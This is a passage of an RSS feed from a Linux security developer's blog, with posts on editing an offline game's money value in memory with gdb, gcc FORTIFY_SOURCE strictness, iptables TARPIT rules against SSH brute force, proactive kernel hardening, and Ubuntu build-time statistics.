<li>Consider something like <a href="http://grsecurity.net/pipermail/grsecurity/2009-October/000998.html">grsecurity&#8217;s GRKERNSEC_BRUTE</a> to slow down execution of potentially vulnerable processes. It&#8217;s like the 3 second delay between bad password attempts.</li>
</ul>
<p>Trying to brute-force operational ASLR on a 64bit system, though, would probably not have worked. So, again, I stand by my main recommendation for security: use 64bit. :)</p>
<p>Good stuff; thanks Jon!</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/02/11/shaping-the-direction-of-research/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>fun with game memory</title>
		<link>http://www.outflux.net/blog/archives/2011/02/05/fun-with-game-memory/</link>
		<comments>http://www.outflux.net/blog/archives/2011/02/05/fun-with-game-memory/#comments</comments>
		<pubDate>Sun, 06 Feb 2011 01:15:31 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=456</guid>
		<description><![CDATA[So, I was testing a (closed source) single-player offline game recently and thought this exercise might be fun to document. I didn&#8217;t want to spend any time actually earning in-game money since I&#8217;d played it before and I wanted to just skip ahead to other aspects of the game. I was curious how straight-forward adjusting [...]]]></description>
			<content:encoded><![CDATA[<p>So, I was testing a (closed source) single-player offline game recently and thought this exercise might be fun to document. I didn&#8217;t want to spend any time actually earning in-game money since I&#8217;d played it before and I wanted to just skip ahead to other aspects of the game. I was curious how straight-forward adjusting my cash might be. So, noting the in-game &#8220;bank account number&#8221; of <strong>219393</strong> and account balance of <strong>3000</strong>, I dived right in.</p>
<p>First up, what&#8217;s the memory layout of the heap look like? I looked at the brk and the mmap regions without a mapped library or file, marked with &#8220;w&#8221; in the permissions column, from <code>/proc/PID/maps</code>:</p>
<blockquote><p>0827e000-08282000 rw-p 00000000 00:00 0<br />
<strong>0a22e000</strong>-<strong>0b08a000</strong> rw-p 00000000 00:00 0                                  [heap]<br />
efa59000-efd00000 rw-p 00000000 00:00 0<br />
efd00000-efd21000 rw-p 00000000 00:00 0
</p></blockquote>
<p>Knowing these, I could use gdb&#8217;s &#8220;find&#8221; command, after attaching to the process:</p>
<blockquote><p>
$ gdb /some/cool/game<br />
&#8230;<br />
(gdb) attach PID<br />
&#8230;<br />
(gdb) find /w 0x0827e000, 0&#215;08282000, <strong>219393</strong><br />
(gdb) find /w <strong>0x0a22e000</strong>, <strong>0x0b08a000</strong>, <strong>219393</strong><br />
0xaf03d08<br />
<strong>0xaf06ca8</strong>
</p></blockquote>
<p>No hits in the first region, but I see two hits for the account number value in the second region. Let&#8217;s start there and see what&#8217;s near them&#8230;</p>
<blockquote><p>
(gdb) x/8x 0xaf03d08<br />
0xaf03d08:	0&#215;00035901	0&#215;00000000	0&#215;00000000	0x0af06ce0<br />
0xaf03d18:	0x0af06be0	0&#215;00000059	0x0af03d98	0x0af041e8<br />
(gdb) x/8x <strong>0xaf06ca8</strong><br />
0xaf06ca8:	0&#215;00035901	<strong>0x00000bb8</strong>	<strong>0x00000bb8</strong>	0x0820b148<br />
0xaf06cb8:	0&#215;00000001	0&#215;00000000	0&#215;00000000	0&#215;00000000
</p></blockquote>
<p>In that second hit, I see the value <strong>0xBB8</strong>, which is <strong>3000</strong>, and matches our account balance. Let&#8217;s see what happens if we just change both of those to add a bit a few orders of magnitude above the current value&#8230;</p>
<blockquote><p>
(gdb) set var *0xaf06cac = 0x00100bb8<br />
(gdb) set var *0xaf06cb0 = 0x00100bb8<br />
(gdb) x/32x 0xaf06cac<br />
0xaf06cac:	0x00100bb8	0x00100bb8	0x0820b148	0&#215;00000001<br />
(gdb) continue
</p></blockquote>
<p>And presto, clicking on the bank account details in-game shows a huge account balance of 1051576 now. No need to reverse-engineer any saved games, whew.</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/02/05/fun-with-game-memory/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>gcc-4.5 and -D_FORTIFY_SOURCE=2 with &#8220;header&#8221; structures</title>
		<link>http://www.outflux.net/blog/archives/2010/12/16/gcc-4-5-and-d_fortify_source2-with-header-structures/</link>
		<comments>http://www.outflux.net/blog/archives/2010/12/16/gcc-4-5-and-d_fortify_source2-with-header-structures/#comments</comments>
		<pubDate>Fri, 17 Dec 2010 02:11:27 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=452</guid>
		<description><![CDATA[Recently gcc (4.5) improved its ability to see the size of various structures. As a result, the FORTIFY protections have suddenly gotten a bit stricter. In the past, you used to be able to do things like this: struct thingy { int magic; char data[4]; } void work(char *input) { char buffer[1000]; int length; struct [...]]]></description>
			<content:encoded><![CDATA[<p>Recently gcc (4.5) improved its ability to see the size of various structures. As a result, the <a href="https://wiki.ubuntu.com/CompilerFlags#-D_FORTIFY_SOURCE=2">FORTIFY protections</a> have suddenly gotten a bit stricter. In the past, you used to be able to do things like this:</p>
<pre class="brush:c">
struct thingy {
    int magic;
    char data[4];
}

void work(char *input) {
    char buffer[1000];
    int length;
    struct thingy *header;

    header = (struct thingy *)buffer;

    length = strlen(input);
    if (length > sizeof(buffer) - sizeof(*header) - 1) abort();

    strcpy(header->data, input);
    header->magic = 42;

    do_something_fun(header);
}
</pre>
<p>The problem here is that gcc thinks that <code>header->data</code> is only 4 bytes long. But gcc doesn&#8217;t know we intentionally overruled this (and even did length checking), so due to <code>-D_FORTIFY_SOURCE=2</code>, the <code>strcpy()</code> checks kick in when <code>input</code> is more than 4 bytes.</p>
<p>The fix, in this case, is to use <code>memcpy()</code> instead, since we actually know how long our destination is, we can replace the <code>strcpy(...)</code> line with:</p>
<pre class="brush:c">
    memcpy(header->data, input, length + 1); /* take 0-term too */
</pre>
<p>This kind of header and then data stuff is common for protocol handlers. So far, things like Wine, <a href="https://bugs.launchpad.net/ubuntu/+source/netkit-tftp/+bug/691345">TFTP</a>, and others have been experiencing problems with the change. Please keep an eye out for it when doing testing.</p>
<p style='text-align:left'>&copy; 2010, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2010/12/16/gcc-4-5-and-d_fortify_source2-with-header-structures/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>TARPIT iptables target</title>
		<link>http://www.outflux.net/blog/archives/2010/11/10/tarpit-iptables-target/</link>
		<comments>http://www.outflux.net/blog/archives/2010/11/10/tarpit-iptables-target/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 17:21:43 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=448</guid>
		<description><![CDATA[Want to use a network tarpit? It&#8217;s so easy to set up! Thanks to jpds for this whole post. :) sudo module-assistant auto-install xtables-addons-source sudo iptables -p tcp ... -j TARPIT Though no such thing exists for IPv6 yet. Here it is watching over the SSH port: iptables -N INGRESS-SSH iptables -A INPUT -p tcp [...]]]></description>
			<content:encoded><![CDATA[<p>Want to use a <a href="http://en.wikipedia.org/wiki/Tarpit_%28networking%29">network tarpit</a>?  It&#8217;s so easy to set up! Thanks to jpds for this whole post. :)</p>
<pre class="brush:shell">
sudo module-assistant auto-install xtables-addons-source
sudo iptables -p tcp ... -j TARPIT
</pre>
<p>Though no such thing exists for IPv6 yet.</p>
<p>Here it is watching over the SSH port:</p>
<pre class="brush:shell">
iptables -N INGRESS-SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j INGRESS-SSH
iptables -A INGRESS-SSH -p tcp --dport 22 -m state --state NEW -m recent --name SSH --set
iptables -A INGRESS-SSH -p tcp --dport 22 -m state --state NEW -m recent --name SSH --update --rttl --seconds 60 --hitcount 4 -j LOG --log-prefix "[INGRESS SSH TARPIT] "
iptables -A INGRESS-SSH -p tcp --dport 22 -m state --state NEW -m recent --name SSH --rcheck --rttl --seconds 60 --hitcount 4 -j TARPIT
</pre>
<p style='text-align:left'>&copy; 2010, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2010/11/10/tarpit-iptables-target/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>security is more than bug fixing</title>
		<link>http://www.outflux.net/blog/archives/2010/11/07/security-is-more-than-bug-fixing/</link>
		<comments>http://www.outflux.net/blog/archives/2010/11/07/security-is-more-than-bug-fixing/#comments</comments>
		<pubDate>Sun, 07 Nov 2010 20:20:38 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=438</guid>
		<description><![CDATA[Security is more than bug fixing. Security fixing/updating, the thing most people are exposed to, is &#8220;reactive security&#8221;. However, a large area of security work is &#8220;proactive&#8221; where defensive abilities are put in place to try and catch problems before they happen, or make classes of vulnerabilities unexploitable. This kind of security is what a [...]]]></description>
			<content:encoded><![CDATA[<p>Security is more than bug fixing. Security fixing/updating, the thing most people are exposed to, is &#8220;reactive security&#8221;. However, a large area of security work is &#8220;proactive&#8221; where defensive abilities are put in place to try and catch problems before they happen, or make classes of vulnerabilities unexploitable. This kind of security is what a lot of people don&#8217;t understand, and I think it&#8217;s important to point out so the distinction can be clearly seen.</p>
<p>In the Linux kernel, there&#8217;s yet another distinction: userspace proactive security and kernel proactive security. Most of the effort in kernel code has been protecting userspace from itself (things like Address Space Layout Randomization), but less attention has been given to protecting the kernel from userspace (currently if a serious enough flaw is found in the kernel, it is usually very <a href="http://www.vsecurity.com/resources/advisory/20101019-1/">easy</a> to <a href="http://www.outflux.net/blog/archives/2010/10/19/cve-2010-2963-v4l-compat-exploit/">exploit</a> it).</p>
<p>One project has taken great strides with proactive security for the Linux kernel: <a href="http://grsecurity.net/test.php">PaX and grsecurity</a>. There hasn&#8217;t been a concerted effort to get its pieces upstream and it&#8217;s long overdue. People are starting to take proactive kernel security more seriously, though there is still <a href="http://lwn.net/Articles/413213/">plenty of debate</a>.</p>
<p>While I did my best to push some <a href="http://lkml.org/lkml/2010/6/3/116">userspace protections</a> upstream earlier in the year, now it&#8217;s time for kernel protections. What to help? Here is the initial <a href="https://wiki.ubuntu.com/SecurityTeam/Roadmap/KernelHardening#Upstream%20Hardening">list of things to do</a>.</p>
<p><a href="http://twitter.com/djrbliss">Dan Rosenberg</a> has started the <a href="http://marc.info/?l=linux-netdev&#038;m=128907432600565&#038;w=2">information leaks</a> <a href="http://marc.info/?t=128907683400002&#038;r=1&#038;w=2">discussion</a>, and I&#8217;ve started the <a href="http://lkml.org/lkml/2010/11/7/113">read-only memory discussion</a>. Hopefully this will go somewhere good.</p>
<p style='text-align:left'>&copy; 2010, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2010/11/07/security-is-more-than-bug-fixing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jettison Jaunty</title>
		<link>http://www.outflux.net/blog/archives/2010/10/25/jettison-jaunty/</link>
		<comments>http://www.outflux.net/blog/archives/2010/10/25/jettison-jaunty/#comments</comments>
		<pubDate>Tue, 26 Oct 2010 06:07:05 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=436</guid>
		<description><![CDATA[Jaunty Jackalope (Ubuntu 9.04) went End-Of-Life on Saturday. Looking back through my build logs, it seems my desktop did 223 builds, spending 19 hours, 18 minutes, and 23 seconds doing builds during the development cycle of Jaunty. Once released, it performed an additional 99 builds, taking 18 hours, 3 minutes, and 37 seconds for security [...]]]></description>
			<content:encoded><![CDATA[<p>Jaunty Jackalope (Ubuntu 9.04) went <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2010-September/001166.html">End-Of-Life on Saturday</a>.</p>
<p>Looking back through my build logs, it seems my desktop did 223 builds, spending 19 hours, 18 minutes, and 23 seconds doing builds during the development cycle of Jaunty. Once released, it performed an additional 99 builds, taking 18 hours, 3 minutes, and 37 seconds for security updates. As before, these times obviously don’t include patch hunting/development, failed builds, testing, stuff done on my laptop or the porting machines, etc.</p>
<p>Combined devel/security build standings per current release:</p>
<p>dapper: 59:19:10<br />
hardy: 189:32:51<br />
karmic: 57:44:27<br />
lucid: 36:07:05<br />
maverick: 13:54:15</p>
<p>Looking at the build histories, Gutsy and Jaunty had about the same amount of builds (around 19 hours) during development, but Intrepid was a whopping 70 hours. This was related to all the <a href="https://wiki.ubuntu.com/CompilerFlags">default compiler flag</a> testing there. I rebuilt the entire &#8220;main&#8221; component multiple times that release. Jaunty was a nice return to normalcy.</p>
<p style='text-align:left'>&copy; 2010, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2010/10/25/jettison-jaunty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
